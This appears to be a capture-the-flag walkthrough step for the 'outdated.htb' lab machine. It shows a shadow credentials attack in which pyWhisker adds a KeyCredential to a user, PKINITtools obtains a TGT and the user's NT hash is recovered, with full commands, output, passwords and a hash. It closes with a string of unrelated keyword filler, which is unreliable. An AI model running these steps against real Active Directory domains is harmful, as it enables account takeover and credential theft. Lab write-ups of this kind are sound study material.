PyWhisker
If we use pyWhisker,we need to have credential.
With creds,I can try to remotely run PyWhisker.It fails:
python3 /opt/pywhisker/pywisker.py --action list -d outdated.htb
-u btables -p 5myBPLPDKT3Bfq
--dc-ip 10.10.11.175 -t 10.10.11.175
[!] automatic bind not successful - strongerAuthRequired
This shows that the LDAP bind failed,TLS is required.Adding --use-ldaps fixes it:
python3 /opt/pywhisker/pywhisker.py --action list -d outdated.htb
-u btables -p 5myBPLPDKT3Bfq --dc-ip 10.10.11.175
-t sflowers --use-ldaps
[*] Searching for the target account
[*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb
[*] Attribute msDS-KeyCredentialLink is either empty or user does not
have read permissions on that attribute
sflowers has no shadow credentials.Add one:
python3 /opt/pywhisker/pywhisker.py --action add -d outdated.htb -u btables -p 5myBPLPDKT3Bfq --dc-ip 10.10.11.175 -t sflowers --use-ldaps [*] Searching for the target account [*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb [*] Generating certificate [*] Certificate generated [*] Generating KeyCredential [*] KeyCredential generated with DeviceID: fddf766d-4eb3-193f-169f-42afc68ae6da [*] Updating the msDS-KeyCredentialLink attribute of sflowers [+] Updated the msDS-KeyCredentialLink attribute of the target object [+] Saved PFX (#PKCS12) certificate & key at path: alTWylpv.pfx [*] Must be used with password: CpgwxPvDtXvsf4wNjjgN [*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
We have successfully generate keyCredential.
Follow the hint,the TGT can be obtained with PKINITtools
python3 /opt/PKINITtools/gettgtpkinit.py -cert-pfx alTWylpv.pfx
-pfx-pass CpgwxPvDtXvsf4wNjjgN outdated.htb/sflowers sflowers.ccache
-dc-ip 10.10.11.175
2022-08-03 23:09:10,618 minikerberos INFO Loading certificate and key from file INFO:minikerberos:Loading certificate and key from file 2022-08-03 23:09:10,630 minikerberos INFO Requesting TGT INFO:minikerberos:Requesting TGT 2022-08-03 23:09:10,826 minikerberos INFO AS-REP encryption key (you might need this later): INFO:minikerberos:AS-REP encryption key (you might need this later): 2022-08-03 23:09:10,826 minikerberos INFO 91229b2482fcba24d91bd4a57e5d04cd403eba67c60a83d70ff39a72ee571f8f INFO:minikerberos:91229b2482fcba24d91bd4a57e5d04cd403eba67c60a83d70ff39a72ee571f8f 2022-08-03 23:09:10,831 minikerberos INFO Saved TGT to file INFO:minikerberos:Saved TGT to file
Time skew,fix that by disabling the VirtualBox service that messages the time in my VM (sudo service vboxadd-service stop) and then running sudo rdate -n 10.10.11.175.
The next step,run the getnthash.py script.
Create a virtual environment and download the denpendencies.
python3 -m venv venv source venv/bin/activate
pip3 install .
Then it worked:
export KRB5CCNAME=sflowers.ccache python3 /opt/PKINITtools/getnthash.py outdated.htb/sflowers
-key 91229b2482fcba24d91bd4a57e5d04cd403eba67c60a83d70ff39a72ee571f
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation [*] Using TGT from cache [*] Requesting ticket to self with PAC Recovered NT Hash 1fcdb1f6015dcb318cc77bb2bda14db5
- Credentials Windows Remote Shadowcredentials windows remote shadow credentials shadow credentials client_credentials client_credentials credentials client grant abstractrpcclient authentication credentials dependencies credentials available openssl credentials docker basic auth credentials unauthorized incorrect manually credentials grpc tls